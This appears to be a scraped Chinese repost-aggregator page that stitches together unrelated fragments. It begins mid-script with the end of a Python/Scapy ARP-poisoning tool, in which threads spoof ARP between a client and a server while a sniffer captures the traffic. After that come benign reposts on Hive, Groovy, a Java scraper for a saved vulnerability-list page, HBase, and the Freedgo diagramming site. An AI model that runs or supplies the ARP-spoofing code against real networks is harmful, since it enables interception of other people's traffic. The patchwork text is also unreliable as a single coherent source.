Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
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Hive
...哒!到时候,用咱们的服务就跟喝着冰镇可乐一样爽,那叫一个舒坦啊!哎呀,你知道不?就像咱们平时用的工具箱里又添了把更厉害的瑞士军刀,那就是Apache Drill这样的新技术。这玩意儿一出现,Hive这个大数据分析的家伙就更牛了,能干的事情更多,效率也更高,就像开挂了一样。它现在不仅能快如闪电地处理数据,还能像变魔术一样,根据我们的需求变出各种各样的分析结果。这下子,咱们做数据分析的时候,可就轻松多了! --- 本文旨在探讨Hive如何通过并行计算能力提升数据处理效率,通过具体实例展示了如何优化Hive查询性能,并分享了实践经验。希望这些内容能对您在大数据分析领域的工作提供一定的启发和帮助。
2024-09-13 15:49:02
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秋水共长天一色
Groovy
...年来,随着云计算和微服务架构的普及,Groovy因其简洁的语法和强大的生态系统,在企业级开发领域重新获得了关注。特别是在DevOps文化盛行的背景下,Groovy作为一种既能快速开发又能与现有Java生态无缝集成的语言,成为许多团队构建CI/CD流水线和自动化工具的首选。例如,Jenkins这一广受欢迎的持续集成平台,其核心脚本语言就是Groovy。最近,Jenkins社区发布了2.361版本,其中引入了新的DSL(领域特定语言)特性,进一步增强了Groovy在构建复杂工作流中的能力。 与此同时,Groovy在数据科学领域的应用也引起了广泛关注。Apache Groovy提供了丰富的库支持,如Grape(依赖管理器)和Spock框架,使得数据科学家能够以更少的代码完成复杂的分析任务。近期,有研究表明,结合Groovy与Kotlin进行混合编程,可以显著提高大数据处理效率。这种跨语言协作模式正在成为现代软件开发的新趋势。 此外,Groovy的动态特性使其非常适合用于快速原型设计。近期,一家知名金融科技公司利用Groovy开发了一款面向中小企业的贷款评估系统,仅用两周时间就完成了从需求分析到上线部署的全过程。该项目的成功不仅展示了Groovy在敏捷开发中的潜力,也为其他类似场景提供了宝贵经验。 值得注意的是,尽管Groovy拥有诸多优势,但它并非没有挑战。随着GraalVM等新技术的发展,传统脚本语言面临新的竞争压力。如何保持自身竞争力并吸引更多年轻开发者,将是未来几年Groovy社区需要重点思考的问题。
2025-03-15 15:57:01
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林中小径
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1、下载第三方扩展库 filterbuilder.jar htmllexer.jar htmlparser.jar jsoup-1.9.2.jar junit.jar sax2.jar thumbelina.jar 2、执行以下方法 package com.zgs.look;import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.InputStreamReader;import java.util.HashMap;import java.util.Map;import java.util.regex.Matcher;import java.util.regex.Pattern;import org.htmlparser.Node;import org.htmlparser.NodeFilter;import org.htmlparser.Parser;import org.htmlparser.filters.NodeClassFilter;import org.htmlparser.filters.OrFilter;import org.htmlparser.tags.LinkTag;import org.htmlparser.tags.TableTag;import org.htmlparser.util.NodeList;import org.jsoup.Jsoup;import org.jsoup.nodes.Document;import org.jsoup.nodes.Element;import org.jsoup.select.Elements;public class HtmlLook {private static String ENCODE = "UTF-8";public static void main(String[] args) {String szContent = openFile( "d:/index.html");try {Document doc = Jsoup.parse(szContent);Elements elList=doc.getElementsByAttributeValue("id","vulDataTable");szContent=elList.outerHtml();Parser parser = Parser.createParser(szContent, ENCODE);NodeFilter[] filters = new NodeFilter[2];filters[0] = new NodeClassFilter(TableTag.class); filters[1] = new NodeClassFilter(LinkTag.class);NodeFilter filter =new OrFilter (filters);NodeList list = parser.extractAllNodesThatMatch(filter);String ldName="";String ldJianjie="";for (int i = 0; i < list.size(); i++) { Node node = list.elementAt(i); if(node instanceof LinkTag){String nodeHtml=node.toHtml();if(nodeHtml.contains("onclick")&&nodeHtml.contains("vul-")){if(!"".equals(ldName)&&!"".equals(ldJianjie)){//提交数据System.out.println("---commit---漏洞名称-------"+ldName);System.out.println("---commit---漏洞简介-------"+ldJianjie);ldName="";ldJianjie="";}String level="";if(nodeHtml.contains("vul-vh")){level="高危漏洞";}else if(nodeHtml.contains("vul-vm")){level="中危漏洞";}else if(nodeHtml.contains("vul-vl")){level="低危漏洞";}ldName=getLinkTagContent(nodeHtml)+"-----"+level+"------";// System.out.println("---漏洞名称-----"+getLinkTagContent(nodeHtml)+"-----"+level+"------");} }else{ldJianjie=getTableTagContent(node.toHtml());} } } catch (Exception e) {e.printStackTrace();} }/ 提取文件里面的文本信息 @param szFileName @return/public static String openFile(String szFileName) {try {BufferedReader bis = new BufferedReader(new InputStreamReader(new FileInputStream(new File(szFileName)), ENCODE));String szContent = "";String szTemp;while ((szTemp = bis.readLine()) != null) {szContent += szTemp + "\n";}bis.close();return szContent;} catch (Exception e) {return "";} }/ 提取标签<a>a</a>内的内容 return a;/public static String getLinkTagContent(String link){String content="";Pattern pattern = Pattern.compile("<a[^>]>(.?)</a>");Matcher matcher = pattern.matcher(link);if(matcher.find()){content=matcher.group(1);}return content;}/ 解析Table标签内的东西 @param table/public static String getTableTagContent(String table){Map<String,String> conMap=new HashMap<String,String>();String content="";Document doc = Jsoup.parse(table);Elements elList=doc.getElementsByAttributeValue("class","cmn_table plumb");Element el=elList.first();Elements trLists = el.select("tr");for (int i = 0; i < trLists.size(); i++) {Elements tds = trLists.get(i).select("td");String key="";String val="";for (int j = 0; j < tds.size(); j++) {String text = tds.get(j).text();if(j==0){key=text; }else{val=text; } }conMap.put(key, val);content+="|"+key+"-"+val;// System.out.println(key+"-"+val);}return content;} } 本篇文章为转载内容。原文链接:https://blog.csdn.net/zhaoguoshuai91/article/details/51802116。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-19 10:42:16
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HBase
...出实时决策或提供实时服务。文中提及HBase支持快速的数据插入和查询操作,这使得其非常适合应用于实时数据分析任务。 流式处理应用 , 流式处理是一种处理持续不断生成的数据流的计算范式,它允许数据在产生时立即进行处理,而非等待所有数据都收集完毕后一次性处理。文中指出,由于HBase能快速处理数据,因此对于需要对实时数据流进行连续分析和处理的应用场景非常适用。
2023-01-31 08:42:41
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青春印记-t
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2023-09-27 17:37:26
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 介绍一下通过在线免费制图网站 Freedgo Design绘制各类图形的方法。 什么是 Freedgo Design? Freedgo Design 是一in款在线绘制专业图形的网站。Freedgo Design可以绘制各种类型的图形,针对业务逻辑的流程图,软件设计ER模板,工作流,各种云平台的系统部署架构图包括阿里云、AWS云、腾讯云、Oracle、Asure云、IBM云平台等。 使用 用户通过浏览器访问网址:https://www.freedgo.com 点击在线制图,进入图形设计工具页面即可在线制图. 选择制图不同类型的图形,请点击页面下面 + 更多图形,选择相应的制图类型。如下图: 可以绘制哪些图表UML UML统一建模语言(英语:Unified Modeling Language,缩写 UML),是一种开放的方法,用于说明、可视化、构建和编写一个正在开发的、面向对象的、软件密集系统的制品的开放方法。UML展现了一系列最佳工程实践,这些最佳实践在对大规模,复杂系统进行建模方面,特别是在软件架构层次已经被验证有效。 在UML系统开发中有三个主要的模型: 功能模型:从用户的角度展示系统的功能,包括用例图。 对象模型:采用对象,属性,操作,关联等概念展示系统的结构和基础,包括类别图、对象图。 动态模型:展现系统的内部行为。包括序列图,活动图,状态图。 通过Freedgo Desgin 可以绘制各类UML图表,包括 UML 用例图 UML 类图 UML 时序图 UML 活动图 UML 泳道图 点击页面下面 + 更多图形,选择 商务/(业务建模) -> UML, 可以设计各类UML图表, 参见下图: 数据库ER模型 ER模型是在数据库设计中常用的数据建模工具,通常是用来描述实体的信息及实体与实体之前的关系。 在Freedgo Design提供了对ER模型的支持: 通过图标库 选择ER模型绘制数据库ER模型 通过菜单 调整图形 -> 插入 -> SQL... 导入sql DDL脚本创建数据库ER模型 BPMN模型设计 BPMN是业务流程建模与标记,是用于构建业务流程图的一种建模语言标准。 可以通过图标库 选择BPMN绘制BPMN模型 Archimate设计 Archimate是一种整合多种架构的一种可视化业务分析模型语言,属于架构描述语言(ADL),它从业务、应用和技术三个层次(Layer),物件、行为和主体三个方面(Aspect)和产品、组织、流程、资讯、资料、应用、技术领域(Domain)来进行描述。 可以通过图标库 选择BPMN绘制BPMN模型 EPC设计 EPC是用于说明业务流程工作流,是进行业务工程设计的 SAP R/3 建模概念的重要组件。 可以通过图标库 选择EPC绘制EPC模型 流程图 流程图是流经一个系统的信息流、观点流或部件流的图形代表。在企业中,流程图主要用来说明某一过程。这种过程既可以是生产线上的工艺流程,也可以是完成一项任务必需的管理过程。 流程图是揭示和掌握封闭系统运动状况的有效方式。作为诊断工具,它能够辅助决策制定,让管理者清楚地知道,问题可能出在什么地方,从而确定出可供选择的行动方案。 流程图有时也称作输入-输出图。该图直观地描述一个工作过程的具体步骤。流程图对准确了解事情是如何进行的,以及决定应如何改进过程极有帮助。这一方法可以用于整个企业,以便直观地跟踪和图解企业的运作方式。 流程图使用一些标准符号代表某些类型的动作,如决策用菱形框表示,具体活动用方框表示。但比这些符号规定更重要的,是必须清楚地描述工作过程的顺序。流程图也可用于设计改进工作过程,具体做法是先画出事情应该怎么做,再将其与实际情况进行比较。 可以通过图标库 选择流程图绘制 UX设计 Freedgo Design提供一系列UX设计的制作,可以实现IOS,安卓,以及一系列页面设计的效果制图,下面简单说明:IOS android material Bootstrap 手机应用 网站应用 平面图 Freedgo Design可以绘制平面图包括建筑平面表,房屋平面表,房屋效果图设计,在图例中提供了家庭、办公、厨房、卫生间等等图例,具体可以登录在线制图网站,查看 图例 网络架构图 Freedgo Design 可以绘制各种网络拓扑图,和机架图。 云架构 Freedgo Design 提供了各类云架构的系统架构图、系统部署图,包括AWS架构,阿里云架构、腾讯云架构、IBM、ORACLE、Azure和Google云等等。AWS 阿里云架构 腾讯云架构 IBM架构 ORACLE架构 Azure架构 GOOGLE架构 工程 Freedgo Design 提供在线基本电气图设计、在线电气逻辑图设计、在线电路原理图设计、在线接线图设计 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39605997/article/details/109976987。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-03 21:03:06
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